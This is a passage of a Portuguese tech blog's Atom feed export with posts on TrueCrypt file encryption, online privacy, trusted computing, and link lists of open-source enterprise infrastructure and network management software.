/&gt;&lt;br /&gt;A grande maioria dos profissionais de criptografia e pesquisadores do assunto mostram que o algoritmo AES – Rijndael é um dos melhores, se não o melhor que existe hoje. Tendo isso em mente utilizarei um programa open-source para a criptografar meus arquivos utilizando não somente este algoritmo, mas também outros.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;TrueCrypt é um software de criptografia de código aberto que permite que você mantenha seus dados e arquivos seguros e prevenir o acesso não autorizado.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;O TrueCrypt é fácil de usar, usa algoritmos de criptografia muito bons, e também é compatível com Windows e Mac e para aquelas pessoas que compartilham dispositivos externos com windows / mac também.&lt;br /&gt;&lt;br /&gt;==--==&lt;br /&gt;&lt;br /&gt;Na parte 2 deste artigo iremos abordar a parte prática.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-639596463918737992?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/639596463918737992/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=639596463918737992' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/639596463918737992'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/639596463918737992'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2009/09/criptografia-de-arquivos-parte-1-teoria.html' title='Criptografia de arquivos - Parte 1 - Teoria'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_P03K0mNYCME/SqC7fMzz_-I/AAAAAAAACTU/QJCpfDN1k2M/s72-c/criptografia.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-7076402566372268862</id><published>2009-04-23T04:12:00.008-03:00</published><updated>2009-08-27T01:52:56.408-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='how to make'/><category scheme='http://www.blogger.com/atom/ns#' term='services'/><category scheme='http://www.blogger.com/atom/ns#' term='firewall'/><category scheme='http://www.blogger.com/atom/ns#' term='free'/><category scheme='http://www.blogger.com/atom/ns#' term='arp spoof'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='arp attack'/><category scheme='http://www.blogger.com/atom/ns#' term='concepts'/><category scheme='http://www.blogger.com/atom/ns#' term='grátis'/><category scheme='http://www.blogger.com/atom/ns#' term='tutoriais'/><category scheme='http://www.blogger.com/atom/ns#' term='pentest'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='rede'/><category scheme='http://www.blogger.com/atom/ns#' term='infra structure'/><category scheme='http://www.blogger.com/atom/ns#' term='ids'/><category scheme='http://www.blogger.com/atom/ns#' term='bloqueio'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><category scheme='http://www.blogger.com/atom/ns#' term='servers'/><title type='text'>Segurança e Liberdade.</title><content type='html'>Como é bastante divulgado na mídia, pessoas com interesses escusos, principalmente governos e grandes corporações estão de olho em nossos dados. Paranóia? Experimentem usar redes P2P e um IDS/IPS na sua rede para você ver a origem das conexões que estarão tentando obter informações da sua máquina/rede. Um ótimo artigo de como instalar um IDS está &lt;a href="http://www.linuxnarede.com.br/artigos/fullnews.php?id=330"&gt;aqui&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Vale lembrar também alguns casos em que governos e/ou corporações (não acredito que sejam os hackers malvados) tentaram e conseguiram alguns dados.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.wired.com/politics/security/commentary/securitymatters/2008/07/securitymatters_0710"&gt;Ataque man-in-the-middle que ajudou a resgatar a Ingrid Betancourt das FARC&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.notebooks-site.com/blog/a-criptografia-dos-hds-do-daniel-dantas/"&gt;Daniel Dantas 10 X Polícia Federal 0 (criptografia)&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.estadao.com.br/internacional/not_int46767,0.htm"&gt;&lt;br /&gt;Hackers Chineses fazem a festa&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Entre vários outros episódios que deixaria este post longo demais.&lt;br /&gt;&lt;br /&gt;Pretendo começar uma série de artigos de como tornar mais difícil o trabalho  para os xeretas de plantão.&lt;br /&gt;&lt;br /&gt;Pretendo cobrir nestes artigos:&lt;br /&gt;&lt;br /&gt;Criptografia de disco e arquivos.&lt;br /&gt;Comunicações seguras.&lt;br /&gt;Redes criptografadas&lt;br /&gt;Redes Anônimas&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-7076402566372268862?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/7076402566372268862/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=7076402566372268862' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/7076402566372268862'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/7076402566372268862'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2009/04/seguranca-e-liberdade.html' title='Segurança e Liberdade.'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-123773629702213085</id><published>2007-12-03T11:50:00.000-02:00</published><updated>2007-12-03T11:51:35.294-02:00</updated><title type='text'>TRUSTED COMPUTING (computação confiável)</title><content type='html'>Vídeo sobre computação confiável.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;object height="355" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/NtplVfG6v-0&amp;amp;rel=1"&gt;&lt;param name="wmode" value="transparent"&gt;&lt;embed src="http://www.youtube.com/v/NtplVfG6v-0&amp;amp;rel=1" type="application/x-shockwave-flash" wmode="transparent" height="355" width="425"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-123773629702213085?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/123773629702213085/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=123773629702213085' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/123773629702213085'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/123773629702213085'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2007/12/trusted-computing-computao-confivel.html' title='TRUSTED COMPUTING (computação confiável)'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-3866024821422583172</id><published>2007-10-09T15:45:00.000-03:00</published><updated>2007-10-09T16:15:21.174-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='compartilhar internet'/><category scheme='http://www.blogger.com/atom/ns#' term='how to make'/><category scheme='http://www.blogger.com/atom/ns#' term='services'/><category scheme='http://www.blogger.com/atom/ns#' term='firewall'/><category scheme='http://www.blogger.com/atom/ns#' term='free'/><category scheme='http://www.blogger.com/atom/ns#' term='Tutorials'/><category scheme='http://www.blogger.com/atom/ns#' term='programas para redes'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='gerenciamento de redes'/><category scheme='http://www.blogger.com/atom/ns#' term='concepts'/><category scheme='http://www.blogger.com/atom/ns#' term='grátis'/><category scheme='http://www.blogger.com/atom/ns#' term='download'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='infra structure'/><category scheme='http://www.blogger.com/atom/ns#' term='rede'/><category scheme='http://www.blogger.com/atom/ns#' term='servers'/><title type='text'>Montando uma infra-estrutura de serviços de uma empresa usando software livre.</title><content type='html'>&lt;p class="MsoNormal"&gt;Caros senhores&lt;st1:personname st="on"&gt;,&lt;/st1:personname&gt;&lt;br /&gt;&lt;br /&gt;Um dia fazendo um projeto de infra-estrutura de uma empresa com Softwares &lt;b style=""&gt;OpenSource&lt;/b&gt; e com alguns proprietários me perguntei: Será que existem ferramentas &lt;b style=""&gt;OpenSource&lt;/b&gt; para montar toda uma infra-estrutura de serviços usando software livre para um pequena&lt;st1:personname st="on"&gt;,&lt;/st1:personname&gt; média ou grande empresa?&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh4.google.com/drkmario/RwvQsXKTdmI/AAAAAAAABZc/uybyGluDzVg/img_centro_top.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 222px; height: 214px;" src="http://lh4.google.com/drkmario/RwvQsXKTdmI/AAAAAAAABZc/uybyGluDzVg/img_centro_top.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;Após algumas horas de pesquisa&lt;st1:personname st="on"&gt;,&lt;/st1:personname&gt; eis que surgem os resultados.&lt;br /&gt;&lt;br /&gt;Segue abaixo uma lista de ferramentas para atender à quase todas as demandas de uma empresa.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Controlador de domínio:&lt;/b&gt;&lt;br /&gt;&lt;a href="http://us4.samba.org/samba/"&gt;http://us4.samba.org/samba/&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;DNS:&lt;/b&gt;&lt;br /&gt;&lt;a href="http://www.bind.org/"&gt;http://www.bind.org&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;b&gt;Servidor de impressão (Print Server):&lt;/b&gt;&lt;br /&gt;&lt;a href="http://us4.samba.org/samba/"&gt;http://us4.samba.org/samba/&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;b&gt;Servidor de Arquivos (File Server):&lt;/b&gt;&lt;br /&gt;&lt;a href="http://us4.samba.org/samba/"&gt;http://us4.samba.org/samba/&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;b&gt;Firewall - VPN - Roteador:&lt;/b&gt;&lt;br /&gt;&lt;a href="http://www.ipcop.org/"&gt;http://www.ipcop.org/&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a href="http://www.efw.it/"&gt;http://www.efw.it/&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Servidores WEB:&lt;/b&gt;&lt;br /&gt;&lt;a href="http://www.apache.org/"&gt;http://www.apache.org/&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a href="http://tomcat.apache.org/"&gt;http://tomcat.apache.org/&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a href="http://www.lighttpd.net/"&gt;http://www.lighttpd.net/&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Portal corporativo (intranet - internet)&lt;/b&gt;&lt;br /&gt;&lt;a href="http://www.metadot.com/"&gt;http://www.metadot.com/&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;&lt;a href="http://www.jboss.com/products/jbossportal"&gt;&lt;span style="" lang="PT-BR"&gt;http://www.jboss.com/products/jbossportal&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="" lang="EN-US"&gt;Helpdesk (trouble ticket)&lt;/span&gt;&lt;/b&gt;&lt;span style="" lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;a href="http://helpcenterlive.com/dru/faq#n14"&gt;&lt;span style="" lang="EN-US"&gt;http://helpcenterlive.com/dru/faq#n14&lt;/span&gt;&lt;/a&gt;&lt;span style="" lang="EN-US"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a href="http://osticket.com/index.php"&gt;http://osticket.com/index.php&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a href="http://www.ilient.com/free-help-desk-software.htm"&gt;http://www.ilient.com/free-help-desk-software.htm&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Suíte de colaboração (web-mail + calendar + Contatos)&lt;/b&gt;&lt;br /&gt;&lt;a href="http://www.zimbra.com/community/downloads.html"&gt;http://www.zimbra.com/community/downloads.html&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a href="http://www.egroupware.org/"&gt;http://www.egroupware.org/&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Loja Virtual (e-commerce)&lt;/b&gt;&lt;br /&gt;&lt;a href="http://www.zen-cart.com/"&gt;http://www.zen-cart.com/&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a href="http://www.oscommerce.com/"&gt;http://www.oscommerce.com/&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;b&gt;Gerenciamento de Projetos (Project Management)&lt;/b&gt;&lt;br /&gt;&lt;a href="http://www.sigma-six.org/"&gt;http://www.sigma-six.org/&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;&lt;a href="http://projectbench.sourceforge.net/"&gt;http://projectbench.sourceforge.net/&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ERP (&lt;st1:city st="on"&gt;&lt;st1:place st="on"&gt;Enterprise&lt;/st1:place&gt;&lt;/st1:city&gt; Resource Planning )&lt;/b&gt;&lt;br /&gt;&lt;/span&gt;&lt;a href="http://www.tinyerp.com/"&gt;&lt;span style="" lang="EN-US"&gt;http://www.tinyerp.com/&lt;/span&gt;&lt;/a&gt;&lt;span style="" lang="EN-US"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a href="http://freerp.org/"&gt;http://freerp.org/&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;b&gt;Gestão de recursos humanos - HR(Human Resource) Management&lt;/b&gt;&lt;br /&gt;&lt;a href="http://www.orangehrm.com/home/"&gt;http://www.orangehrm.com/home/&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a href="http://www.openhris.com/"&gt;http://www.openhris.com/&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;b&gt;Gerenciamento de redes (Network Management)&lt;/b&gt;&lt;br /&gt;&lt;a href="http://network-management-center.com/index.asp"&gt;http://network-management-center.com/index.asp&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;b&gt;Software de inventário (Asset Management)&lt;/b&gt;&lt;br /&gt;&lt;a href="http://www.ilient.com/free-help-desk-software.htm"&gt;http://www.ilient.com/free-help-desk-software.htm&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a href="http://asset-tracker.sourceforge.net/"&gt;http://asset-tracker.sourceforge.net/&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;br /&gt;Espero que as informações ajudem.&lt;br /&gt;&lt;br /&gt;Abraços&lt;br /&gt;&lt;br /&gt;Mário M. Magalhães&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-3866024821422583172?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/3866024821422583172/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=3866024821422583172' title='3 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/3866024821422583172'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/3866024821422583172'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2007/10/montando-uma-infra-estrutura-de-servios.html' title='Montando uma infra-estrutura de serviços de uma empresa usando software livre.'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-8642001810115509920</id><published>2007-08-27T10:33:00.000-03:00</published><updated>2007-09-17T15:21:00.536-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='compartilhar internet'/><category scheme='http://www.blogger.com/atom/ns#' term='firewall'/><category scheme='http://www.blogger.com/atom/ns#' term='rede'/><category scheme='http://www.blogger.com/atom/ns#' term='programas para redes'/><category scheme='http://www.blogger.com/atom/ns#' term='compartilhar conexão'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='gerenciamento de redes'/><title type='text'>Ferramentas de Rede</title><content type='html'>&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;Caros leitores,&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;Segue abaixo uma listagem de softwares para gerênciamento de redes. A listagem foi retirada de:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.ucb.br/prg/professores/maurot/soft_redes.htm"&gt;http://www.ucb.br/prg/professores/maurot/soft_redes.htm&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Espero que ajude.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:180%;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:180%;"&gt;Wireless&lt;br /&gt;&lt;/span&gt;&lt;a href="http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/"&gt;Wireless LAN Resources&lt;/a&gt; Info sobre wireless LAN's no linux&lt;br /&gt;&lt;a href="http://www.bluez.org/"&gt;Bluez&lt;/a&gt; Pilha Linux bluetooth &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:180%;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:180%;"&gt;Gerência de Redes e Serviços&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.net-snmp.org/"&gt;Projeto Net SNMP (UCD)&lt;/a&gt; Pacote Linux SNMP&lt;br /&gt;&lt;a href="http://www.softwarepublico.gov.br/spb/ver-comunidade?community_id=3585"&gt;CACIC&lt;/a&gt; Sistema de controle de inventário em rede em SL&lt;br /&gt;&lt;a href="http://www.opennms.org/"&gt;OpenNMS&lt;/a&gt; Implementação de um sistema de gerenciamento free&lt;br /&gt;&lt;a href="http://www.nagios.org/"&gt;Nagios&lt;/a&gt; Sistema de monitoramento para Linux (antigo Netsaint)&lt;br /&gt;&lt;a href="http://www.zabbix.org/"&gt;Zabbix&lt;/a&gt; NMS - Sistema de monitoramento&lt;br /&gt;&lt;a href="http://www.jffnms.org"&gt;jffnms&lt;/a&gt; NMS - Sistema de monitoramento&lt;br /&gt;&lt;a href="http://www.zenoss.com"&gt;Zenoss&lt;/a&gt; NMS - Sistema de monitoramento&lt;br /&gt;&lt;a href="http://www.openqrm.org"&gt;OpenQRM&lt;/a&gt; Sistema de monitoramento de servidores e aplicações (datacenter)&lt;br /&gt;&lt;a href="http://www.groundworkopensource.com/"&gt;Groundwork&lt;/a&gt; Sistema de monitoramento de TI&lt;br /&gt;&lt;a href="http://www.netdirector.org/"&gt;NetDirector&lt;/a&gt; Gerenciamento de servidores e serviços&lt;br /&gt;&lt;a href="http://www.hyperic.com/"&gt;Hyperic&lt;/a&gt; Sistema de monitoramento de servidores e aplicações (datacenter)&lt;br /&gt;&lt;a href="http://www.ocsinventory-ng.org/"&gt;OCS Inventory NG&lt;/a&gt; Sistema de inventário e distribuição de atualizações de software&lt;br /&gt;&lt;a href="http://www.glpi-project.org/"&gt;GLPI&lt;/a&gt; Sistema de inventário livre&lt;br /&gt;&lt;a href="http://pandora.sourceforge.net"&gt;Pandora&lt;/a&gt; Sistema de monitoramento&lt;br /&gt;&lt;a href="http://nedi.web.psi.ch/mo.html"&gt;Nedi&lt;/a&gt; Sistema de monitoramento&lt;br /&gt;&lt;a href="http://www.splunk.com/"&gt;Splunk&lt;/a&gt; Sistema de monitoramento e análise de eventos e logs de TI&lt;br /&gt;&lt;a href="http://www.webmin.com/"&gt;Webmin&lt;/a&gt; Administração WEB de sistemas TI&lt;br /&gt;&lt;a href="http://www.kernel.org/software/mon/"&gt;Mon&lt;/a&gt; Software para monitoramento de serviços e disparo de alarmes&lt;br /&gt;&lt;a href="http://www.nedi.ch"&gt;Nedi&lt;/a&gt; Ferramenta para monitoramento de rede&lt;br /&gt;&lt;a href="http://pandora.sourceforge.net"&gt;Pandora&lt;/a&gt; Ferramenta para monitoramento de rede&lt;br /&gt;&lt;a href="http://www.ntop.org/"&gt;NTop&lt;/a&gt; Ferramenta para analisar utilizaçao de rede&lt;br /&gt;&lt;a href="http://www.sins.com.au/nmis/"&gt;NMIS&lt;/a&gt; Sistema de gerenciamento de rede&lt;br /&gt;&lt;a href="http://www.mrtg.org/"&gt;MRTG&lt;/a&gt; Sistema de gerenciamento de tráfego em links de dados.&lt;br /&gt;&lt;a href="http://bandwidthd.sourceforge.net/"&gt;BandwidthD&lt;/a&gt; Sistema que gera gráficos HTML de uso de banda&lt;br /&gt;&lt;a href="http://metanav.ntnu.no/moin.cgi/FrontPage"&gt;NAV&lt;/a&gt; Network Administration Visualized&lt;br /&gt;&lt;a href="http://people.ee.ethz.ch/%7Eoetiker/webtools/rrdtool/"&gt;RRDTool&lt;/a&gt; Software para análise gráfica de dados (como no MRTG)&lt;br /&gt;&lt;a href="http://cosi-nms.sourceforge.net/"&gt;Cisco Centric Open Source&lt;/a&gt; Software livre para gerenciamento de equipamentos Cisco&lt;br /&gt;&lt;a href="http://www.ucb.br/prg/professores/maurot/Arqs/ASN1%20-%20Decoder.zip"&gt;Decodificador ASN.1&lt;/a&gt; Decodificador simples para ASN.1/BER &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:180%;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:180%;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:180%;"&gt;VoIP, VCF e Multimídia sobre Redes&lt;/span&gt;&lt;br /&gt;&lt;a href="http://asterisk.org/"&gt;Asterisk.org&lt;/a&gt; Implementação de PABX em SW livre e suporte a vários protocolos de VoIP. Veja também sua &lt;a href="http://www.asteriskdocs.org/modules/news/"&gt;documentação&lt;/a&gt;.&lt;br /&gt;&lt;a href="http://www.asteriskbrasil.org"&gt;AsteriskBrasil&lt;/a&gt; Comunidade nacional do PABX Asterisk&lt;br /&gt;&lt;a href="http://www.astlinux.org/"&gt;Astlinux&lt;/a&gt; Distribuição Linux pronta com o Asterisk e SER&lt;br /&gt;&lt;a href="http://www.openmgcp.org/"&gt;Open MGCP&lt;/a&gt; Implementação livre MGCP&lt;br /&gt;&lt;a href="http://www.iptel.org/ser/"&gt;SER&lt;/a&gt; SIP Express Router (licença GPL)&lt;br /&gt;&lt;a href="http://openser.org/"&gt;OpenSER&lt;/a&gt; Router SIP&lt;br /&gt;&lt;a href="http://www.sipfoundry.org/"&gt;SIP Foundry&lt;/a&gt; PABX SIP&lt;br /&gt;&lt;a href="http://www.vovida.org/"&gt;VOCAL&lt;/a&gt; Vários softwares para VoIP&lt;br /&gt;&lt;a href="http://www.ekiga.org/"&gt;Ekiga&lt;/a&gt; Implementação de cliente H.323 (antigo Netmeeting)&lt;br /&gt;&lt;a href="http://www.voxgratia.org/"&gt;Voxgratia&lt;/a&gt; Vários projetos em SL VoIP&lt;br /&gt;&lt;a href="http://www.gnugk.org/"&gt;GNUGK&lt;/a&gt; Implementação GNU de um gatekeeper&lt;br /&gt;&lt;a href="http://www.ucb.br/prg/professores/maurot/GNUGK%0Ahttp:/www.videolan.org"&gt;vlc&lt;/a&gt; Video LAN cliente multimídia e servidor streaming&lt;br /&gt;&lt;a href="http://streaming.polito.it/"&gt;LS3&lt;/a&gt; Plataforma aberta para streaming multimedia&lt;br /&gt;&lt;a href="http://www.flumotion.net/"&gt;Flumotion&lt;/a&gt; Servidor streaming Fluendo &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:180%;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:180%;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:180%;"&gt;Terminais e VPN's&lt;/span&gt;&lt;br /&gt;&lt;a href="http://hamachi.cc/"&gt;hamachi&lt;/a&gt; VPN fácil sobre a Internet&lt;br /&gt;&lt;a href="http://www.rdesktop.org/"&gt;RDesktop&lt;/a&gt; Implementação do protocolo RDP para acesso remoto a servidores Windows via terminal service&lt;br /&gt;&lt;a href="http://www.ltsp.org/"&gt;Linux Terminal Server Project&lt;/a&gt; Linux como servidor de estações diskless ou thinclients&lt;br /&gt;&lt;a href="http://openvpn.net/"&gt;Open VPN&lt;/a&gt; Implementação VPN lIvre&lt;br /&gt;&lt;a href="http://amvpn.sourceforge.net/"&gt;Amrita VPN&lt;/a&gt; Implementação de VPN&lt;br /&gt;&lt;a href="http://www.realvnc.com/"&gt;RealVNC&lt;/a&gt; Virtual Network Computing - software free para terminal virtual&lt;br /&gt;&lt;a href="http://ultravnc.sourceforge.net/"&gt;UltraVNC&lt;/a&gt; Controle remoto através de rede TCP/IP&lt;br /&gt;&lt;a href="http://www.chiark.greenend.org.uk/%7Esgtatham/putty/"&gt;puTTY&lt;/a&gt; Software free para terminais e SSH &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:180%;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:180%;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:180%;"&gt;Automatização&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.avahi.org/"&gt;Avahi&lt;/a&gt; Implementação &lt;a href="http://www.zeroconf.org/"&gt;Zeroconf&lt;/a&gt; para Linux &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;span 